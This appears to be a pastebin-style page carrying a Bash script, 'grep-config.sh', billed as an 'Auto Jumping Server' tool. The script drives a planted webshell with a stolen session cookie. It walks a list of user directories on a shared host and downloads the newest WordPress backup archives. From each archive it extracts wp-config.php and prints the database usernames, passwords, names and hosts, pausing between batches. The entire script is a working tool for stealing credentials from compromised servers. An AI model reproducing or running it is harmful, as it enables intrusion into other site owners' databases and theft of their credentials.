ccocot icon

grep-config.sh

ccocot | PRO | 12/18/17 04:42:43 AM UTC | 0 ⭐ | 258 👁️ | Never ⏰ | []
Bash |

2.9 KB

|

None

|

0 👍

/

0 👎

#!/bin/bash
 
CY='\e[36m'
GR='\e[34m'
OG='\e[92m'
WH='\e[37m'
RD='\e[31m'
YL='\e[33m'
BF='\e[34m'
DF='\e[39m'
OR='\e[33m'
PP='\e[35m'
B='\e[1m'
CC='\e[0m'
 
ngecek(){
    local WEBSHELLURL=""
    local PHPSESSID=""
    local url="${WEBSHELLURL}?dir=${1}/backupwordpress"
    local ngecek=$(curl -s "${url}" --cookie "PHPSESSID=${PHPSESSID}")
    local username=$(echo ${1} | cut -d / -f3)
    if [[ $ngecek =~ "Not Found" ]]; then
        printf "[!] Session Expired\n"
        exit 1
    fi
    if [[ ! $ngecek =~ "can't open directory." ]]; then
        printf "${RD}${B}[!]${CC} ${1} => FOUND\n"
        local folder=$(echo $ngecek | grep -Po "(?<=id='1' href=')[^']*")
        printf "[+] Get Newest Backup ... "
        local getidfile=$(curl -s "${WEBSHELLURL}${folder}" --cookie "PHPSESSID=${PHPSESSID}")
        printf "${B}${GR}Success${CC}\n"
        local getnumber=$(echo $getidfile | grep -Po "(?<=idfile=')[^']*" | sort -nr | head -n1)
        local getfile=$(echo ${getidfile} | grep -Po "(?<=idfile='${getnumber}' href=')[^']*")
        local downloadfile="${WEBSHELLURL}${getfile}"
        printf "[+] Download Backup ... "
        wget --header="Cookie: PHPSESSID=${PHPSESSID}" $downloadfile --quiet -O "${2}.tar.gz" 2> /dev/null
        printf "${B}${GR}Success${CC}\n"
        printf "[+] Grab wp-config.php ... "
        local tmpfolder="${2}-folder"
        mkdir $tmpfolder
        tar -zxf ${2}.tar.gz -C ${tmpfolder} 2> /dev/null
        local config=$(find ${tmpfolder} -name "wp-config.php")
        cat $config > config/${username}.txt
        rm -rf ${tmpfolder}
        rm ${2}.tar.gz
        printf "${B}${GR}Success${CC}\n"
        local config=$(cat config/${username}.txt)
        local dbuser=$(echo $config | grep -Po "(?<='DB_USER', ')[^']*")
        local dbhost=$(echo $config | grep -Po "(?<='DB_HOST', ')[^']*")
        local dbpass=$(echo $config | grep -Po "(?<='DB_PASSWORD', ')[^']*")
        local dbname=$(echo $config | grep -Po "(?<='DB_NAME', ')[^']*")
        printf " | User: %s\n | Password: %s\n | DB Name: %s\n | DB Host: %s\n\n"  ${dbuser} ${dbpass} ${dbname} ${dbhost}
    else
        printf "${RD}${B}[!]${CC} ${1} => NOT FOUND\n\n"
    fi
}
 
if [[ -z $1 ]]; then
    printf "To Use $0 <file.txt> \n"
    exit 1
fi
 
cat << "EOF"
             ____   ____ ___  ____  _____   _   _ _____ _____ 
            | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
            |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
            | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
            |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
 
                Auto Jumping Server
                Ccocot | ccocot@bc0de.net
                Thank To Keflex [IDB TE4M] 
EOF
printf "${GR}${B}[!]${CC} Scanning .... \n\n"
wc -l ${1}
printf "\n"
 
# OPTIONAL
persend=5
setleep=5
mkdir config
 
itung=1
IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
for (( i = 0; i < "${#mailist[@]}"; i++ )); do
    itung=$[$itung+1]
    set_kirik=$(expr $itung % $persend)
    if [[ $set_kirik == 0 && $itung > 0 ]]; then
        sleep $setleep
    fi
    username="${mailist[$i]}"
    ngecek ${username} ${itung}
done
wait

Comments